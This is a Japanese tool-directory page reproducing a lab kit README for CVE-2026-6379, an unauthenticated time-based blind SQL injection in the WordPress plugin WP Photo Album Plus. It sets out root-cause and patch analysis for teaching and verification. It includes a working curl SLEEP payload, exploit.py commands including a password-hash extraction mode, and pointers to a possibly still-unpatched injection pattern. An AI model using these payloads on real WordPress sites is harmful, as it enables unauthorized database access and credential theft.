Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-6379 — Dockerベースのラボキットで、WP Photo Album Plusにおける未認証SQLインジェクションであるCVE-2026-6379を対象としています。時間ベースのブラインドPoC、根本原因分析、および許可されたセキュリティ研究のためのパッチ検証が含まれています。 | Kitploit
ツール/GitHubGitHub/dinosn/cve-2026-6379
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティCTFペネトレーションテスト学習と教育ラボと実践
GitHubdinosn/cve-2026-6379

cve-2026-6379

Dockerベースのラボキットで、WP Photo Album Plusにおける未認証SQLインジェクションであるCVE-2026-6379を対象としています。時間ベースのブラインドPoC、根本原因分析、および許可されたセキュリティ研究のためのパッチ検証が含まれています。

リポジトリを見る
225ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-6379 — WP Photo Album Plus < 9.1.11.001 — 認証不要SQLインジェクション

パラメータ: wppa-supersearch 深刻度: CVSS 8.6(高)— WPScan/Wordfence による評価 ベンダー修正: 2026-04-17(WordPressBugBounty ミラー内のコミット d2b0d05d) 公開開示: 2026-04-27(WPScan)

このキットは、自己完結型のDockerラボと動作するPoCを提供し、このバグを最初から最後まで再現・検証・教育できるようにします。


TL;DR

# ラボホスト上で:
cd lab && ./setup.sh
# インストーラが page_id 付きで "=== LAB READY ===" と表示したら:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash

脆弱なターゲットはSLEEPプローブに約5秒で応答します。修正済みのターゲットは1秒未満で応答します。

手動ワンライナーチェック:

curl -sS -o /dev/null -w "%{time_total}\n" \
  "http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"

構成

cve-2026-6379-wppa/
├── README.md                  # このファイル
├── docs/
│   ├── writeup.md             # 根本原因 + パッチ分析
│   └── prompts.md             # このキットを生成したAIリサーチプロンプト
├── lab/
│   ├── docker-compose.yml     # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│   ├── setup.sh               # 起動 / 停止 / 削除
│   └── init/install.sh        # 冪等なインストーラ(wp-cli)
└── pocs/
    ├── exploit.py             # 時間ベースのブラインドSQLi(probe / version / user / hash)
    └── test_oracle.sh         # エンドツーエンド統合テスト

バグの仕組み(1段落)

wppa_get_photos() はリクエストパラメータ wppa-supersearch をCSV形式の s1,type,s3,DATA として解析します。type='o'(所有者)の場合、DATA はSQL文字列に直接連結されます:

$query = "SELECT id FROM $wpdb->wppa_photos
          WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";

クォート処理も $wpdb->prepare もありません。wppa-supersearch=,o,,x' OR (...)-- - を設定すると、クォートされた所有者をエスケープして任意のSQLを実行できます。エンドポイントは [wppa] ショートコードをホストする公開フロントエンドページであるため、認証は不要です。

修正では、以前連結されていたすべてのケースを $wpdb->prepare(..., %s) でラップしています。


同じパッチ(コミット d2b0d05d)で修正されたシンク

CVE-2026-6379パッチは、wppa-functions.php 内の wppa_get_photos() にある6つの個別のSQLシンクを書き換えます。両方のPoCモード(probe と probe-calendar)は独立したシンクにヒットします。他のシンクはペイロードの形状のみが異なります。すべて認証不要で、主要シンクと同じ wppa-occur=N ゲーティングを介して到達可能です。

#シンク(脆弱な行)トリガーパラメータPoCモード
1owner — WHERE owner = '$data'(1244行目)wppa-supersearch=,o,,…--mode probe(ライブ検証済み)
2name — WHERE sname = '<wppa_name_slug($data)>'(1237行目)wppa-supersearch=,n,,…未悪用(スラッグフィルタがクォートを除去)
3tag — WHERE tags LIKE '%$d%'(1254行目)wppa-supersearch=,g,,…wppa_sanitize_tags() により制約あり
4カレンダー exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%'(1361行目)wppa-calendar=exifdtm&wppa-caldate=…--mode probe-calendar(ライブ検証済み)
5カレンダー timestamp — WHERE timestamp >= $t1 AND timestamp < $t2(1368行目)wppa-calendar=timestamp&wppa-caldate=…数値強制(intval)— 限定的
6カレンダー modified — timestamp と同じ(1375行目)wppa-calendar=modified&wppa-caldate=…数値強制 — 限定的

行 #4–#6 では、同じコミットでぶら下がっていた ORDER BY $order フラグメントも削除されました — 下記の「関連する堅牢化」を参照してください。


CVE-2026-6379 と併せて見つかった関連問題

同じ脆弱なビルドに対して wppa-functions.php をより広範囲に監査したところ、CVE-2026-6379パッチの外側にあるシンクが明らかになりました。これらはWPScan/Wordfenceが公開したものではなく、すべてが同等に悪用可能というわけでもありませんが、ラボがバリアント探索にも役立つようにここに文書化しています。

stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — 別の脆弱性の可能性

ステータス: 9.1.11.001(パッチ適用後)に存在。d2b0d05d では対処されていません。フォローアップCVEの候補です。

%s はカンマ区切りの IN リストには有効ではありません(常に単一のクォートされた文字列を出力します)。プラグインは、プリペアドステートメントを stripslashes() でラップすることでこれを回避していますが、これは prepare() が追加したばかりのエスケープを除去するため、リスト要素のいずれかが攻撃者によって汚染されている場合、インジェクションが再び開かれます。

代表的な出現箇所: wppa-functions.php の660、711、831、838、889、895、900、971、1028、1034、1041、1122、1144、1190、1410、1414、1465、1470、1476、1481、1491行目。

バリアント分析用のハントクエリ:

docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
  /var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php

ORDER BY $order — 部分的に対処済み

パッチはカレンダー/IN句シンクから ORDER BY $order を削除しましたが、他の場所には残しています。$order はプラグインのランタイム状態(設定テーブル)から設定されるため、悪用にはその状態への書き込みパスが必要です。堅牢化として扱ってください。

SQLサニタイザとして使用される wp_strip_all_tags()(#4のバリアント)

wp_strip_all_tags はHTMLを除去しますが、SQLは除去しません。クォートされたSQLフラグメントの周囲にこれが出現する場所では、そのフラグメントはインジェクション可能です。caldate 以外にも、連結前にこの関数を通過する他のリクエスト値を監査してください。


検証マトリックス

状態probeprobe-calendar
脆弱(9.1.10.011)[+] VULNERABLE — ~5.0s ≥ 3.5s[+] VULNERABLE — ~5.0s ≥ 3.5s
修正済み(9.1.11.001)[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
プラグイン無効[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
[wppa] ショートコードのないページ[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s

実行中のラボでバージョンを切り替える:

# 修正済み:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
  plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
  --allow-root || true
# プローブを再実行。否定結果になるはずです。

安全性

  • 隔離されたネットワーク上でのみ実行してください。 このバグは認証不要です。
  • ラボはデフォルトのWP認証情報 admin / adminadmin を使用します — インターネットに公開しないでください。
  • ./setup.sh purge で破棄します(データベースボリュームを削除します)。

参考

  • WPScan: https://wpscan.com/plugin/wp-photo-album-plus/
  • パッチコミット: https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/commit/d2b0d05d
  • wppa-functions.php(脆弱版): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.php
  • wppa-functions.php(修正版): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php
ツールをダウンロード